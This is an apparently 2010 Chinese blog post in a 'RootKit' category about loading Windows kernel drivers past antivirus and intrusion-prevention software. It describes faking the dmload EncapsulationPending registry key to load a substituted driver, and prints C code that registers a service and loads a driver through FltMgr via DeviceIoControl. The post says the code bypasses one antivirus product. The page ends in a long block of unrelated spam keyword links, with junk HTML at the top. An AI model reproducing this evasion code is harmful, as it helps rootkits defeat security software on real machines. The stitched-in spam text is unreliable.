• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            Load Driver

            Posted on 2010-07-10 17:19 S.l.e!ep.¢% 閱讀(1069) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            繞過主防加載驅(qū)動的新思路!!!

            通過dmload.sys可以實現(xiàn)一種新型的驅(qū)動加載方式。
            ? 在dmload的二次驅(qū)動重初始化時會調(diào)用dmload!DmLoadIsEncapPending來判斷\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子鍵是否存在,如果不存在則調(diào)用dmload!DmLoadIsDmioNeeded判斷系統(tǒng)是否需要加載dmboot驅(qū)動(向disk驅(qū)動發(fā)送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查詢)。而如果存在EncapsulationPending鍵則直接跳過檢測步驟,直接調(diào)用ZwLoadDriver加載dmboot驅(qū)動。
            ? ? 因此,我們只要事先偽造一個EncapsulationPending子鍵,并用我們欲加載的驅(qū)動替換掉dmboot.sys(不替換亦可),重啟后便可成功加載驅(qū)動。


            http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

            一種另類驅(qū)動加載辦法

            2010年04月09日 評論(0)|瀏覽(75) 點擊查看原文

            一種另類驅(qū)動加載辦法

            華中科技大學(xué)

            在這個病毒=Rootkit的時代,驅(qū)動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅(qū)動也是嚴(yán)加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅(qū)動無法加載,不過,也有一些繞過的辦法。

            微軟為windows專門設(shè)計了一套微過濾驅(qū)動(mini filters),這套驅(qū)動是專用于管理文件過濾驅(qū)動的加載和運行,很多的虛擬磁盤驅(qū)動,還有還原軟件常用的磁盤過濾驅(qū)動,都是使用微過濾驅(qū)動進行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴(yán),所以可以從這里下手去加載。

            不同于其他的驅(qū)動,Minifilter由一個獨立的manager管理而不僅僅是SCM(服務(wù)管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關(guān)于微處理管理器和微過濾驅(qū)動的內(nèi)容,可以到微軟官網(wǎng)查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

            加載驅(qū)動的主要代碼比較簡單

            int main( int argc , char *argv[] )

            {

            HANDLE hDevice;

            LOAD service_to_load;

            BOOL err;

            DWORD dwRet=0;

            WCHAR drvPath[512];

            memset( drvPath , 0 , 512 );

            GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅(qū)動放在當(dāng)前目錄下進行加載

            lstrcatW( drvPath , L"\\load.sys" );//驅(qū)動名稱必須為load.sys

            make_reg( L"load" , drvPath );

            hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進行驅(qū)動的加載

            if( hDevice == INVALID_HANDLE_VALUE )

            {

            printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理

            goto __end;

            }

            wcscpy( service_to_load.ServiceName , L"load");

            service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

            err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼

            if( !err )

            {

            printf("sorry\n");

            goto __end;

            }

            printf(":)\n");

            __end:

            CloseHandle( hDevice );

            return 0;

            }

            這段代碼和SCM加載驅(qū)動的代碼基本一致,只不過換成了Fltmgr進行加載。

            驅(qū)動還需要在注冊表中進行服務(wù)的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。

            VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

            {

            DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內(nèi)核驅(qū)動

            DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務(wù)

            HKEY hKey;

            WCHAR szMain[512] = {0};

            WCHAR szImgPath[512] = {0};

            wchar_t szRegPath[512]={0};

            wsprintfW( szMain,

            L"%s%s",

            L"SYSTEM\\CurrentControlSet\\Services\\",

            szDriverName );//在service鍵值下注冊

            wsprintfW( szImgPath,

            L"%s%s",

            L"\\??\\",

            szDriverPath);

            if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

            {

            RegSetValueExW( hKey,

            L"DisplayName",

            0,

            REG_SZ,

            (LPBYTE)szDriverName,

            (DWORD)lstrlenW(szDriverName)*2);

            RegSetValueExW( hKey,

            L"ImagePath",

            0,

            REG_EXPAND_SZ,

            (LPBYTE)szImgPath,

            (DWORD)lstrlenW(szImgPath)*2);

            RegSetValueExW( hKey,

            L"Type",

            0,

            REG_DWORD,

            (LPBYTE)&dwType,

            (DWORD)sizeof(dwType) );

            RegSetValueExW( hKey,

            L"Start",

            0,

            REG_DWORD,

            (LPBYTE)&dwStart,

            (DWORD)sizeof(dwStart) );

            }

            }

            這種方法經(jīng)過測試,可以過瑞星2010最新版,360過不了,其他的待測,網(wǎng)吧的驅(qū)動防火墻不知能不能過,也許可以嘗試下……

            如果對驅(qū)動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。

            国产色综合久久无码有码| 欧洲成人午夜精品无码区久久| 99热成人精品免费久久| 久久99久久无码毛片一区二区| 久久婷婷人人澡人人| 人妻无码中文久久久久专区| 99久久99久久| 久久久久99这里有精品10| 久久综合给久久狠狠97色| 精品久久久久久国产三级| 久久久久人妻一区二区三区vr| 伊人丁香狠狠色综合久久| 囯产极品美女高潮无套久久久| 久久精品国产亚洲网站| 久久精品国产亚洲AV久| 国产精品99久久精品爆乳| 看久久久久久a级毛片| 久久这里只有精品视频99| 亚洲欧美精品伊人久久| 色婷婷综合久久久中文字幕 | 国产成人精品综合久久久| 久久久久久久久波多野高潮| 国产午夜精品久久久久九九电影| 欧美亚洲色综久久精品国产| 久久婷婷国产剧情内射白浆 | 狠狠色丁香婷婷综合久久来来去| 久久精品无码一区二区WWW| 久久久久无码精品| 国产精自产拍久久久久久蜜| 人人狠狠综合久久亚洲婷婷| 波多野结衣中文字幕久久| 久久九九精品99国产精品| 午夜人妻久久久久久久久| 午夜不卡久久精品无码免费| 99久久国产亚洲综合精品| 久久这里都是精品| 久久丫忘忧草产品| 99精品久久精品一区二区| 人妻无码αv中文字幕久久| 午夜精品久久久久久久久| 蜜臀av性久久久久蜜臀aⅴ麻豆|